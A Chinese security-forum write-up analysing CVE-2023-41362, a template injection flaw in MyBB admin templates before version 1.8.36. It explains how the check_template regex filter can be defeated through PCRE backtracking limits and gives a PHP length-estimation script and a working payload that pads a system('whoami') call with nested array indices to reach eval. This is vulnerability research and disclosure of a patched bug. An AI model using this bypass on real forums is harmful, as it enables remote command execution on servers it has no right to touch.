问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2023-41362 mybb模板注入漏洞分析
漏洞分析
MyBB 是一款免费的开源论坛软件,使用php开发,支持用户自定义模板。Mybb<1.8.36的版本中,存在模板注入漏洞。
CVE-2023-41362 mybb模板注入漏洞分析 =========================== 前言 -- MyBB 是一款免费的开源论坛软件,使用php开发,支持用户自定义模板。Mybb<1.8.36的版本中,存在模板注入漏洞。 漏洞功能分析 ------ 漏洞位于后台的模板编辑处,可以绕过安全限制注入恶意代码导致命令执行漏洞。 修改任一模板(以online模板为例)点击保存  请求url为https://xxx.com/Upload/admin/index.php?module=style-templates&action=edit\_template&title=online&sid=1&expand=16 ```php module=style-templates action=edit_template ``` 定位/Upload/admin/index.php文件,代码通过接受module参数(style-templates),并以”-”分割存入数组分别最终赋值给$run\_module(style)和$action\_file(templates)  并最终使用require包含($modules\_dir为默认的安装位置)  定位到/Upload/admin/modules/style/templates.php 接收action参数,执行动作为编辑模板时,先进入一个安全检查,  随后模板数据在数据库中完成更新  而在访问对应的模板文件时,通过eval函数执行模板内容  所以模板注入有两种方案,要么绕过check\_template的限制注入恶意代码,要么通过sql注入直接在数据库执行sql语句向模板中写入恶意代码。 check\_template的实现如下 ```php function check_template($template) { // Check to see if our database password is in the template if(preg_match('#\$config\[(([\'|"]database[\'|"])|([^\'"].*?))\]\[(([\'|"](database|hostname|password|table_prefix|username)[\'|"])|([^\'"].*?))\]#i', $template)) { return true; } // System calls via backtick if(preg_match('#\$\s*\{#', $template)) { return true; } // Any other malicious acts? // Courtesy of ZiNgA BuRgA if(preg_match("~\\{\\$.+?\\}~s", preg_replace('~\\{\\$+[a-zA-Z_][a-zA-Z_0-9]*((?:-\\>|\\:\\:)\\$*[a-zA-Z_][a-zA-Z_0-9]*|\\[\s*\\$*([\'"]?)[a-zA-Z_ 0-9 ]+\\2\\]\s*)*\\}~', '', $template))) { return true; } return false; } ``` 第一个正则用于检测模板中是否有数据库账号密码的字段 第二个正则用于检测类似**"$(任意个空白字符){"**格式的恶意代码 第三个正则先是用preg\_replace函数将诸如**"{$a}、{$a->bbb}、{$a\[bbb\]}、{$a\[b\]\[b\]\[b\]}"**等字符替换为空,在匹配是否仍然含有 "**{$(一个或多个任意字符)}**" 通过之前默认的模板文件可以看到,第三个正则主要是用于将合法的模板插值去空后,再检测是否存在恶意插值  例如当模板内容为{$system('whoami')}时,就会被第三个正则检测到而拦截。 PS:MYBB开源论坛系统使用的是自定义的模板系统,而不是常见的第三方模板引擎,通过{$变量}表示一个动态插值。 回溯陷阱(Catastrophic Backtracking) ------------------------------- 正则引擎主要可以分为基本不同的两大类:一种是DFA(确定型有穷自动机),另一种是NFA(不确定型有穷自动机)。简单来讲,NFA 对应的是正则表达式主导的匹配,而 DFA 对应的是文本主导的匹配。 举个例子 ```php text = ‘huisuxianjing’ regex = ‘i(a|b)’ ``` 在NFA匹配的时候,先用正则中的第一个字符i去匹配,匹配到第一个i后,再用(a|b)去匹配text中第一个i后的s,发现不匹配后,正则退回到i,继续第一个i后的s开始匹配,直至结束。  而在DFA匹配的时候,采用的是文本为主导的匹配方式,即从text中的h开始去匹配正则,发现不匹配后,继续从下一个字符去比较,直至text字符串中的第一个i匹配到了正则中的i,再用后面的s去匹配正则的(a|b),发现不匹配后,再用text字符串中的后续值去匹配直至结束。  由于NFA的执行过程存在回溯,所以性能会劣于DFA,但由于其支持更多功能,被大多数程序语言作为了正则引擎,其中就包括php使用的pcre库。  NFA的回溯  前两步不必多说,第三步匹配.\*是直接匹配了整个字符串。导致后面没有字符可以和>匹配了,于是发生了第一次回溯,吐出一个字符即最右边的>,此时第三步的.\*匹配的是"\\<d>A\\</d>\\<d>123</d",于是再用正则>去匹配剩下的字符”>“匹配成功。同理此时字符串已经匹配完,\\d+的正则又匹配不到了,于是再次发生回溯,依次吐出字符重新匹配如上图所示,一共发生了8次回溯, 可以看到,在本正则中,回溯的次数与字符串中的数字部分长短有关,数据部分越长,发生回溯的次数就会越多。 如果数字部分的字符足够长,导致回溯次数过多,甚至会引发ReDos,php为了防止ReDos,给回溯次数设置了一个上限,当回溯次数超过了上限时,preg\_match会返回false,而preg\_replace会返回null。  绕过check\_template ----------------- 因此可以通过构造大量字符使得回溯次数超过上限来绕过check\_template的限制,回忆第三个正则如下 ```php if(preg_match("~\\{\\$.+?\\}~s", preg_replace('~\\{\\$+[a-zA-Z_][a-zA-Z_0-9]*((?:-\\>|\\:\\:)\\$*[a-zA-Z_][a-zA-Z_0-9]*|\\[\s*\\$*([\'"]?)[a-zA-Z_ 0-9 ]+\\2\\]\s*)*\\}~', '', $template))) { return true; } //preg_replace将诸如"{$a}、{$a->bbb}、{$a[bbb]}、{$a[b][b][b]}"等字符替换为空 //preg_match检测"{$(一个或多个任意字符)}" ``` 因此只要构造足够长的垃圾字符,使得preg\_replace或者preg\_match达到回溯上限返回null/false,就可以绕过安全限制。 用如下脚本可以大概估算下各需要构造多长的payload。 ```php <?php function checkMacth($preg_match_vaule) { $pattern ='~\\{\\$.+?\\}~s'; $subject ='{$system("whoam"'.str_repeat(".''",$preg_match_vaule).'.'.'"i"'.')}'; return preg_match($pattern,$subject); } $preg_match_vaule=1; // 循环直到 preg_match_vaule 的结果为 false for (; checkMacth($preg_match_vaule) !== false;$preg_match_vaule += 100){ } echo "preg_match_vaule大概值: $preg_match_vaule\n"; //{$system("whoam".''.''.''."i")} function checkReplace($preg_replace_value) { $pattern = '~\{\$+[a-zA-Z_][a-zA-Z_0-9]*((?:-\\>|\\:\\:)\\$*[a-zA-Z_][a-zA-Z_0-9]*|\\[\s*\\$*([\'"]?)[a-zA-Z_0-9 ]+\\2\\]\s*)*\\}~'; $subject = '{$a'.str_repeat('[0]', $preg_replace_value).'}'; return preg_replace($pattern, '', $subject); } $preg_replace_value = 1; // 循环直到 preg_replace 的结果为 null for (; checkReplace($preg_replace_value) !== null; $preg_replace_value += 100) { } echo "preg_replace_value大概值: $preg_replace_value\n"; //{$a[0][0][0][0]} ?> ```  测试发现preg\_replace中{$a\[b\]\[b\]\[b\]}类型的值可以以输入最短的字符长度实现最多的回溯次数,只需要5k多个字符,而达到preg\_match的回溯上限则需要90w多个字符。 所以通过在恶意代码后添加一些多维数组例如 ```php {$a[0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0]......} ``` 使得正则执行失败,从而进行绕过。 因此写入模板内容如下 ```php {$system('whoami')}{$a[0][0][0][0][0][0][0][0][0][0][0][0][0]很多个[0]} ``` 虽然写入成功了但是执行时报错了  mybb的模板引无法直接解析{$system('whoami')},因此模仿模板自带的方式找现有的方法去调用下,观察下默认模板的调用方式  寻找利用$lang已有的方法去调用  ```php {$lang->load((system('whoami'))}{$a[0][0][0][0][0][0][0][0][0]......} ```  访问触发,成功执行命令  漏洞修复 ---- 判断了preg\_match的返回值不能为false,preg\_replace的返回值不能为null。 
发表于 2024-11-06 09:00:02
阅读 ( 23610 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
中铁13层打工人
77 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!